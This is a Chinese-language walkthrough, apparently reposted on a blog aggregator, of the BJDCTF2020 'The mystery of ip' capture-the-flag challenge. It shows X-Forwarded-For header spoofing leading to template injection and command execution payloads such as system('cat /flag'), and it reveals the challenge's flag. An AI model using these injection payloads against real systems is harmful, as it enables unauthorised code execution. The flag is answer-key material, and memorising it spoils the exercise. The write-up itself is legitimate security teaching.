首页 > 其他分享 >[BJDCTF2020]The mystery of ip 1

[BJDCTF2020]The mystery of ip 1

时间:2024-11-24 09:45:12浏览次数:1  
标签:mystery Forwarded ip system flag BJDCTF2020

[BJDCTF2020]The mystery of ip 1

打开实例,发现flag.php路径,访问显示自己当前的内网ip

image-20241124091805543

hackerbar添加xff请求头,尝试ip伪造,成功回显

image-20241124091858569

判断可能为xff注入,尝试sql的部分注入语句均无效,放弃sql注入,尝试SSTI模板注入

X-Forwarded-For: {1+1}

image-20241124092302520

成功回显,存在XFF-SSTI模板注入漏洞

尝试构造payload

X-Forwarded-For: {system("ls")}

image-20241124092406046

成功遍历目录

查看flag.php,未发现flag

image-20241124092536880

查看根目录

X-Forwarded-For: {system("ls / -a")}

image-20241124092622528

发现flag,最终payload为:

X-Forwarded-For: {system("cat /flag")}

image-20241124092700153

flag{b0a840de-eeaf-4ed1-80c1-bb12ff2bcb10} 

标签:mystery,Forwarded,ip,system,flag,BJDCTF2020
From: https://www.cnblogs.com/tazmi/p/18565457

相关文章

  • NOIP2024 前集训:多校A层冲刺NOIP2024模拟赛25
    前言music《浮游》天已经微亮我睁开双眼长夜漫漫总有散来到故事终点如果有人问此生不悔碰触着你的地方刻下纠缠印痕说再见不是离别何必追赶着句点思念在一瞬间倾倒地平线荒野在歌唱大地在缄默光粒穿透海尘埃中花开游蜉望着天誓言追光影灵魂在......
  • [赛记] NOIP2024加赛7
    镜的绮想(mirror)100pts考虑$\Theta(nm)$的做法,发现我们可以对于每一对实点和虚点求它们的“镜面”,然后得到$\Theta(nm)$个“镜面”,发现这些直线只可能是形如$y=0.5x,x\inZ$的直线,所以我们直接乘$2$,然后开个桶统计一下即可;时间复杂度:$\Theta(nm)$;点击......
  • [Javascript] Lazy Overriding
    Let'sseethefollowingcodefunctioncopyText(text){if(navigator.clipboard){navigator.clipboard.writeText(text);}else{constinput=document.createElement('input');input.setAttribute('value',text);......
  • P1055 [NOIP2008 普及组] ISBN 号码
    题目描述每一本正式出版的图书都有一个ISBN号码与之对应,ISBN码包括 99 位数字、11 位识别码和 33 位分隔符,其规定格式如 x-xxx-xxxxx-x,其中符号 - 就是分隔符(键盘上的减号),最后一位是识别码,例如 0-670-82162-4就是一个标准的ISBN码。ISBN码的首位数字表示书籍的......
  • 【前端】javaScript
    目录一、简述JS1.1引入方式二、基础语法2.1变量2.2数据类型2.3运算符2.4对象2.4.1数组2.4.2函数2.4.3对象三、JQuery3.1引⼊依赖3.2JQuery语法3.3JQuery选择器3.4JQuery事件3.5操作元素3.6常用方法一、简述JSjavaScript:JS:JavaScript(简称JS)......
  • 第十章JavaScript的应用
    10.1JavaScript概述10.1.1JavaScript简介JavaScript是一种基于对象(0bject)和事件驱动(EventDriven)并具有安全性能的脚本语言,能够与HTML(超文本标记语言)、Java语言一起在Web页面中与Web客户交互它无须经过先将数据传给服务器端(Server)、再传回来的过程,而直接可以由客......
  • 2025--炼石计划-- 11 月 23 日 --NOIP 模拟赛 #23
    2025--炼石计划--11月23日--NOIP模拟赛#23\(T1\)A.排序\(100pts\)仅考虑临项比较时必要的一位的选择即可。点击查看代码lla[1000010],ans[35][2];llask(){ llx=0; for(lli=31;i>=0;i--) { if(ans[i][0]!=0&&ans[i][1]!=0) { return-1; } i......
  • noip模拟19
    A镜的绮想(mirror)签签签。配对的点对一定\(x\)相同,那用\(O(nm)\)地匹配一下,因为有几个点的\(x\)全都相同,所以\(map\)和\(umap\)会塞到\(n\timesm\)个数,显然会爆炸,只能开桶,手动把纵坐标搞成全正的,就行。点击查看代码#include<bits/stdc++.h>usingnamespac......
  • NOIp 考前适应题
    ACF1494EA-ZGraph题意给一个有向图,边权是字母,有三种操作:添加边\((u,v,c)\);删除边\((u,v)\);询问是否存在一个长度为\(k\)的非简单路径满足\(v_1\leftarrowv_k\)的路径与\(v_k\leftarrowv_1\)的路径边权序列相同。分析手玩题。顶点数量为偶数的情况容易发现......
  • 盛世公司客服系统hj8828,vipS针对嵌入式STM32单片机的开发环境配置
    针对嵌入式【hj8828.vip】STM32单片机的开发环境配置薇【Lgj88288】,以下分别针对Windows和Mac系统提供详细的教学步骤。一、Windows系统配置教学选择开发软件Windows系统上有多种工具组合可供选择,包括单纯使用Keil进行库函数、HAL库以及寄存器的开发,也可以通过STM32CubeMX配......